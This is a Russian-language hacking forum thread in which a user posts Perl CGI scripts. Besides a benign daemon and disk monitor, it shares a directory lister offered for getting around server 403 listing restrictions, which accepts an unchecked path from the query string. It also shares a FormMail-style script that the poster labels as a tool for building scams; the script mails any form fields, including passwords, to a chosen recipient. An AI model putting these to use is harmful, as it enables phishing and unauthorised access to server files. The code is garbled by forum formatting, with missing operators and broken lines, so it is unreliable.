$_=$time;
s/\012//g;
$time=$_;
return 
$time;
}

# +---------------------------------------------------------------------+

sub gather_process_info {
open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n";
close(WORK1);
open(WORK1,"$work1")|| die "Cannot read process workfile!\n";
@
proc=<WORK1>;
close(WORK1);
}

# +---------------------------------------------------------------------+

sub scan_process {
foreach 
$dproc (@daemontable){
   (
$daemon,$daemon_name)=split(/:/,$dproc);
   if ( 
grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");}
   else { 
log_daemon_status("$daemon_name","down");
          
mail_support("$daemon_name");}
                             } 
   
}

# +---------------------------------------------------------------------+

sub log_daemon_status {
    
my ($daemon_name,$state) = @_;
    
$status=$state;
    
open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n";
    
write SYSDAEMON;
    
close(SYSDAEMON);
}

# +---------------------------------------------------------------------+

sub log_hup {
    
open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n";
    
write SYSDAEMONHUP;
    
close(SYSDAEMONHUP);
}

# +---------------------------------------------------------------------+

sub mail_support {

     
my ($d_name) = @_;
 
     
$d_name;

     
open (MAIL"| $mailprog $support") || die "Can't open $mailprog!\n";
     print 
MAIL "To: $support\n";
     print 
MAIL "From:$PROGRAM\n";
     print 
MAIL "Subject:$PROGRAM : $d_name failure\n";
     print 
MAIL  "------------------------------------------------------\n\n";
     print 
MAIL "$PROGRAM has detected $d_name missing on $node";
     
close (MAIL);
}

# +---------------------------------------------------------------------+

sub check_filestore {
local $line,$d1,$d2,$d3,$d4,$fs;
open(DF,"|df > $work2")||die "Cannot df!\n";
close(DF);

open(DFW,"$work2")||die "Cannot open $work2!\n";
    while(<
DFW>) {
                  @
fstab=<DFW>; 
                 }
close(DFW);

foreach 
$line (@fstab) {
         (
$d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line);
             if ( 
$lim gt "98%" ) { 
                  
log_fs("$fs","$lim","Full");
                  
mail_support_fs("$fs","$lim","Full");
                  } else { 
log_fs("$fs","$lim","Ok")};
                      }                       

}

# +---------------------------------------------------------------------+

sub log_fs {
    
my ($l1,$l2,$l3) = @_;
    
$fstat="$l3";
    
$filesystem=$l1;
    
$capacity=$l2;
open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n";
write SYSDAEMONFS;
close(SYSDAEMONFS);
}

# +---------------------------------------------------------------------+


sub mail_support_fs {

    
my ($l1,$l2,$l3) = @_;
    
$fstat="$l3";
    
$filesystem=$l1;
    
$capacity=$l2;

    
open (MAIL"| $mailprog $support") || die "Can't open $mailprog!\n";
    print 
MAIL "To: $support\n";
    print 
MAIL "From:$PROGRAM\n";
    print 
MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n";
    print 
MAIL  "------------------------------------------------------\n\n";
    print 
MAIL "$PROGRAM has detected that the filesystem $filesystem";
    print 
MAIL "on $node has become full.\n";
    print 
MAIL "$filesystem is currently at $capacity.\n";
    
close (MAIL);


Последний раз редактировалось REDsaratov; 11.06.2007 в 01:53..
 

  #90  
Старый 11.06.2007, 01:54
REDsaratov
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме:
415254

Репутация: 75
Отправить сообщение для REDsaratov с помощью ICQ
По умолчанию

ListDir v1.0 Листинг содержимого псевдокорневой директории и поддиректорий на вашем сайте. Обычно помогает при 403 ошибке: "Forbidden. You don't have permission to access /~user/dir/ on this server." т.е. когда админ запретил пользователям просмотр содержимого web директорий возможно в целях повышения security.

PHP код:
#!/usr/bin/perl

###################
#                 #
#  ListDir v1.0   ######################
#                                      #
################  Benvolio mindcrimer  #
               #                       #
               #########################

# klassno, vy polezli v ishodniki..
# zna4it, ya tak polagayu, eto vam za4em-to ponadobilos'
# tak vot, eto delo pisalos' s boduna i za 1 ve4er
# koro4e v kode sam 4ert nogu slomit, nikakoj struktury, vse v kashu
# sej skript real'no primenyaetsya(lsya) na
# http://dezcom.mephi.ru/~jerry/download/listdir.cgi i vrode dazhe rabotal :)
# esli ne len' - mozhete zajti na moyu strani4ku
# http://dezcom.mephi.ru/~jerry/
# ili mozhno potrepat'sya po as'ke: 16455534
# vsego samogo! vash eugene a. jerusalimov aka benvolio mindcrimer :)
# p.s. es4e mozhno primenyat' index.shtml: <!--#include virtual="listdir.cgi" -->

$cvalue=""$command="";
$envstring="$ENV{'QUERY_STRING'}";
(
$command,$cvalue)=split('=',$envstring);
print 
"Content-type: text/html\n\n";
print 
"<html><head><title>ListDir v1.0 by Benvolio mindcrimer</title>
<meta name=\"author\" content=\"Eugene A. Jerusalimov\"></head><body>\n"
;
@
sp=split('\/',$ENV{'SCRIPT_NAME'});
foreach(@
sp) { chomp$sn=$_; }
print 
"<table><tr><td>ListDir v1.0: Browsing the directory <b><a href=\"$sn\">/</a>$cvalue</b></td></tr></table><table>\n";
if(
$command=="subdir" || $cvalue ne "") { chdir($cvalue); }
open(FILES,"/bin/ls |");
@
files=<FILES>;
foreach(@
files)
{
chomp;
(
$dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = stat;
@
sp=split('\/');
foreach(@
sp) { chomp; }
$fsz=int $size/1024;
$sep="";$subdir="";
(
$sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime($mtime);
if(
$mday<10) { $mday="0$mday"; }
$mon++;
if(
$mon<10) { $mon="0$mon"; }
$date="$mday.$mon.$year";
if(
$min<10) { $min="0$min"; }
if(
$hour<10) { $hour="0$hour"; }
$time="$hour:$min";
$octmode=(sprintf("%lo",$mode)%1000);
if(
$cvalue ne "") { $sep="/"; }
if(
$nlink==1) { ($z,$afext)=split('\.'); $fsize="$fsz"."k"; } else { $afext="dir"$fsize="---"$subdir="?subdir=$cvalue$sep$_"; }
if(
$_ ne $sn) { print "<tr><td>$afext</td><td>"
if(
$nlink==1) { print "<a href=\"$cvalue$sep$_\">$_</a>"; } else { print "<a href=\"$sn$subdir\">$_</a>"; }
print 
"</td><td>$octmode</td><td>$fsize</td><td>$date</td><td>$time</td></tr>\n"; }
}
print 
"</table><br><table><tr><td>Copyright <a href=\"http://dezcom.mephi.ru/~jerry/\">Benvolio mindcrimer</a> 1999.</td></tr><tr><td>If you want to get a copy of this script simply <a href=\"mailto:jerry\@dezcom.mephi.ru?subject=listdir.cgi\">mail me</a>.</td></tr></table></body></html>\n";
# (c) eugene a. jerusalimov aka. benvolio mindcrimer 
полезные скрипт для рисовки СКАМА
(Этот скрипт пересылает данные с формы, заполненные посетителями Вашего сервера. В форме могут быть обозначены любые типы полей, такие, например, как текстовые, парольные (password), checkbox и т.д. Форма создается Вами и может иметь любое количество полей.)
PHP код:
#!/perl/bin/perl
#############################################################################
# Возвратная форма                                #
# Написана Андреем Юриным 22.09.98                        #
# ###########################################################################
#                            WWW.SCRIPT.RU                                  #
# ###########################################################################
# Этот скрипт является частью коллекции скриптов сервера www.script.ru      #
# Свои пожелания и/или предложения присылайте на andrey@script.ru           #
#############################################################################


##################################################
# Определение переменных:                        #
##################################################
# Настоящий путь к программе отсылки e-mail
$mailprog '/usr/sbin/sendmail';




#Алфавиты кодировок
$tbl_alt="*ЎўЈ¤Ґ¦§Ё©Є«¬*®Їабвгдежзиймлкноп";
$tbl_koi="БВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАСбвчздецъйклмнопртуфхжигюыэшщяьас";
$tbl_win="абвгдежзийклмнопрстуфхцчшщьыъэюяАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ";
$win_koi="/".$tbl_win."/".$tbl_koi."/";
$win_alt="/".$tbl_win."/".$tbl_alt."/";




&get_date;

# Считать данные формы
&parse_form;

# Проверить все ли необходимые поля заполнены
&check_required;

# Return HTML Page or Redirect User
&return_html;

# отсылка e-mail
&send_mail;


#################################################################
#        Перевод даты                                           #
#################################################################
sub get_date {
    @
days = ('Воскресение','Понедельник','Вторник','Среда','Четверг','Пятница','Суббота');
    @
months = ('Январь','Февраль','Март','Апрель','Май','Июнь','Июль''Август','Сентябрь','Октябрь','Ноябрь','Декабрь');
    (
$sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
    if (
$hour 10) { $hour "0$hour"; }
    if (
$min 10) { $min "0$min"; }
    if (
$sec 10) { $sec "0$sec"; }
    
$date "$days[$wday]$months[$mon] $mday, 19$year в $hour\:$min\:$sec";
}



#################################################################
#                    Считывание данных формы                    #
#################################################################
sub parse_form {
    if (
$ENV{'REQUEST_METHOD'eq "POST") {
        
read(STDIN$buffer$ENV{'CONTENT_LENGTH'})
    } 
elsif ($ENV{'REQUEST_METHOD'eq "GET") {
        
$buffer $ENV{'QUERY_STRING'}
    } else {
        &
error('request_method');
    }

    @
pairs split(/&/, $buffer);
    foreach 
$pair (@pairs) {
        (
$name$value) = split(/=/, $pair);
        
$value =~ tr/+/ /;
        
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
            
$value =~ s/<([^>]|\n)*>//g;
            
$value =~ s/<//g;
            
$value =~ s/>//g;
            
$value =~ s/\s/ /g;
        
$value =~ s/\cM\n/<br>/gi;
        
$value =~ s/\n/<br>/gi# Без перевода каретки
        
$value =~ s/\|/\\/gi#Без разделителей

        
if ($name eq 'recipient' ||
        
$name eq 'subject' ||
        
$name eq 'email' ||
        
$name eq 'realname' ||
        
$name eq 'redirect' ||
        
$name eq 'bgcolor' ||
        
$name eq 'background' ||
        
$name eq 'link_color' ||
        
$name eq 'vlink_color' ||
            
$name eq 'text_color' ||
           
$name eq 'alink_color' ||
        
$name eq 'title' ||
        
$name eq 'sort' ||
        
$name eq 'submit' ||
        
$name eq 'print_config' ||
        
$name eq 'return_link_title' ||
        
$name eq 'return_link_url' && ($value)) {
            
$CONFIG{$name} = $value;
        } 
elsif ($name eq 'required') {
            @
required split(/,/,$value);
        } 
elsif ($name eq 'env_report') {
            @
env_report split(/,/,$value);
        } else {
            if (
$FORM{$name} && ($value)) {
                
$FORM{$name} = "$FORM{$name}$value";
            } 
elsif ($value) {
                
$FORM{$name} = $value;
            }
        }
    }
}


#################################################################
#            Проверка заполнения обязательных полей             #
#################################################################
sub check_required {
    foreach 
$require (@required) {
        if (
$require eq 'recipient' ||
            
$require eq 'subject' ||
            
$require eq 'email' ||
            
$require eq 'realname' ||
            
$require eq 'redirect' ||
            
$require eq 'bgcolor' ||
            
$require eq 'background' ||
            
$require eq 'link_color' ||
            
$require eq 'vlink_color' ||
            
$require eq 'alink_color' ||
            
$require eq 'text_color' ||
            
$require eq 'sort' ||
            
$require eq 'title' ||
            
$require eq 'print_config' ||
            
$require eq 'return_link_title' ||
            
$require eq 'return_link_url') {
                if (!(
$CONFIG{$require}) || $CONFIG{$requireeq ' ') {
                    
push(@ERROR,$require);
                }
        } 
elsif (!($FORM{$require}) || $FORM{$requireeq ' ') {
            
push(@ERROR,$require);
        }
    }

    if (@
ERROR) {
        &
error('missing_fields', @ERROR);
    }
}


#################################################################
#            Вывод сообщения о добавлении записи                #
#################################################################
sub return_html {
    
my $bod = &body_attributes;
    if (
$CONFIG{'redirect'} =~ /http\:\/\/.*\..*/) {
        print 
"Location: $CONFIG{'redirect'}\n\n";
    } else {
        if (
$CONFIG{'title'}) {
            &
print_head($CONFIG{'title'}, $bod);
        } else {
            &
print_head($CONFIG{'title'}, $bod);
        }
        print 
"<center>\n";
        if (
$CONFIG{'title'}) {
            print 
"<h1>$CONFIG{'title'}</h1>\n";
        } else {
           print 
"<h1>Спасибо</h1>\n";
        }
        print 
"</center>\n";
        
#print "<center>Это содержимое формы, заполненой Вами и отправленной к $CONFIG{'recipient'}.<br>";
        
print "$date</center><p><hr size=2 width=90\%><p>\n";
    
        if (
$CONFIG{'sort'eq 'alphabetic') {
            foreach 
$key (sort keys %FORM) {
                print 
"<b>$key:</b> $FORM{$key}<p>\n";
            }
        } 
elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
            
$sort_order $CONFIG{'sort'};
            
$sort_order =~ s/order://;
            
@sorted_fields split(/,/, $sort_order);
            foreach 
$sorted_field (@sorted_fields) {
                if (
$FORM{$sorted_field}) {
                    print 
"<b>$sorted_field:</b> $FORM{$sorted_field}<p>\n";
                }
            }
        } else {
            foreach 
$key (keys %FORM) {
                print 
"<b>$key:</b> $FORM{$key}<p>\n";
            }
        }
        print 
"<p><hr size=7 width=75%><p>\n";
        if (
$CONFIG{'return_link_url'} =~ /http\:\/\/.*\..*/ && $CONFIG{'return_link_title'}) {
            print 
"<ul>\n";
            print 
"<li><a href=\"$CONFIG{'return_link_url'}\">$CONFIG{'return_link_title'}</a>\n";
            print 
"</ul>\n";
        }
        &
print_end;
    }
}




#################################################################
#            Подпрограмма отправки сообщения                    #
#################################################################
sub send_mail {
    foreach 
$i (keys %FORM) {
        eval(
"\$FORM{$i} =~ tr".$win_koi);
    } 
    foreach 
$i (keys %CONFIG) {
        eval(
"\$CONFIG{$i} =~ tr".$win_koi);
    } 

    eval(
"\$date =~ tr".$win_koi);
    
open(MAIL,"|$mailprog -t");
#    open(MAIL, ">form");
    
print MAIL "To: $CONFIG{'recipient'}\n";
    print 
MAIL "From: $CONFIG{'email'} ($CONFIG{'realname'})\n";

    if (
$CONFIG{'subject'}) {
        print 
MAIL "Subject: $CONFIG{'subject'}\n\n";
    } else {
        print 
MAIL "Subject: WWW Form Submission\n\n";
    }

    print 
MAIL "***** This is free service from Land.Ru ****\n";
    print 
MAIL "It's results of fill You form. It was ";
    print 
MAIL "submitted by $CONFIG{'realname'} ($CONFIG{'email'}) on ";
    print 
MAIL "$date\n";
    print 
MAIL "---------------------------------------------------------------------------\n\n";

    if (
$CONFIG{'print_config'}) {
        @
print_config split(/,/,$CONFIG{'print_config'});
        foreach 
$print_config (@print_config) {
            if (
$CONFIG{$print_config}) {
                print 
MAIL "$print_config$CONFIG{$print_config}\n\n";
            }
        }
    }

    if (
$CONFIG{'sort'eq 'alphabetic') {
        foreach 
$key (sort keys %FORM) {
            print 
MAIL "$key$FORM{$key}\n\n";
        }
    } 
elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
        
$CONFIG{'sort'} =~ s/order://;
        
@sorted_fields split(/,/, $CONFIG{'sort'});
        foreach 
$sorted_field (@sorted_fields) {
            if (
$FORM{$sorted_field}) {
                print 
MAIL "$sorted_field$FORM{$sorted_field}\n\n";
            }
        }
    } else {
        foreach 
$key (keys %FORM) {
            print 
MAIL "$key$FORM{$key}\n\n";
        }
    }

    print 
MAIL "---------------------------------------------------------------------------\n";

    foreach 
$env_report (@env_report) {
        print 
MAIL "$env_report$ENV{$env_report}\n";
    }
    
close (MAIL);
}




#################################################################
#            Вывод сообщений об ошибках                         #
#################################################################
sub error {
    
my $bod = &body_attributes;
    (
$error,@error_fields) = @_;
    if (
$error eq 'bad_referer') {
        &
print_head("Нет прав доступа");
        print 
"<center>\n   <h1>Извините, но у Вас нет прав доступа!</h1>\n  </center>\n";
        &
print_end;
    } 
elsif ($error eq 'request_method') {
        &
print_head("Не тот метод"$bod);
        print 
"<center>\n   <h1>Метод, которым была отправлена форма, не поддерживается сервером. Форма может быть отправлена только способами GET или POST</h1>\n  </center>\n";
        &
print_end;
    } 
elsif ($error eq 'missing_fields') {
        &
print_head("Вы заполнили не все поля"$bod);
        print 
"<center>\n   <h1>Вы оставили обязательные поля в форме пустыми</h1>\n  </center>\n";
        print 
"Следующие поля необходимо заполнить:<p>\n";
        print 
"<ul>\n";
        foreach 
$missing_field (@error_fields) {
            print 
"<li>$missing_field\n";
        }
        print 
"</ul>\n";
        print 
"<p><hr size=7 width=75\%><p>\n";
        print 
"Возвратитесь в форму и попробуйте <a href=\"$ENV{'HTTP_REFERER'}\">заполнить поля</a>\n";
        &
print_end;
    }
    exit;
}



#################################################################
#     Вывод аттрибутов тега <body>                              #
#################################################################
sub body_attributes {
    
my $out;
    if (
$CONFIG{'bgcolor'}) {
        
$out $out." bgcolor=\"$CONFIG{'bgcolor'}\"";
    }

    if (
$CONFIG{'background'} =~ /http\:\/\/.*\..*/) {
        
$out $out." background=\"$CONFIG{'background'}\"";
    }

    if (
$CONFIG{'link_color'}) {
        
$out $out." link=\"$CONFIG{'link_color'}\"";
    }

    if (
$CONFIG{'vlink_color'}) {   
        
$out $out." vlink=\"$CONFIG{'vlink_color'}\"";
    }


    if (
$CONFIG{'alink_color'}) {
        
$out $out." alink=\"$CONFIG{'alink_color'}\"";
    }

    if (
$CONFIG{'text_color'}) {
        
$out $out." text=\"$CONFIG{'text_color'}\"";
    }
    return 
$out;
}




#################################################################
#     Печать HTML - заголовка                                   #
#################################################################
sub print_head {
    
my $bod $_[1];
    print 
"Content-type: text/html";
    print 
"\n\n";
    print 
"<html><head>";  
    print 
"<title>$_[0]</title>\n"
    print 
"</head><body $bod>\n";
    print 
"<div align=center><table border=\"0\" cellpadding=\"0\" cellspacing=\"4\" width=\"75%\">\n";

}

#################################################################
#     Печать HTML - конца                                       #
#################################################################
sub print_end {
    
$rand int rand(10000000);
    print 
"</table></div>
    <p align=center><a href=\"http://www.reklama.ru/cgi-bin/href/land?
$rand\" target=\"_top\"><img  src=\"http://www.reklama.ru/cgi-bin/banner/land?$rand\" alt=\"www.reklama.ru\" border=\"0\" height=\"60\" width=\"468\"></a></p>
    <p align=right><font size=-1><a href=\"http://www.script.ru\">Script.Ru</a>
    <br>Reconstructed for Land.Ru<br>&copy; 1998  <a href=\"mailto:andrey\@script.ru\">Андрей Юрин</a>
      <br>Create by<br>&copy; 1996  <a href=\"http://www.worldwidemart.com/scripts/formmail.shtml\">Matt Wright</a>
    </font></p></body></html>\n"
;


Последний раз редактировалось REDsaratov; 11.06.2007 в 02:05..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ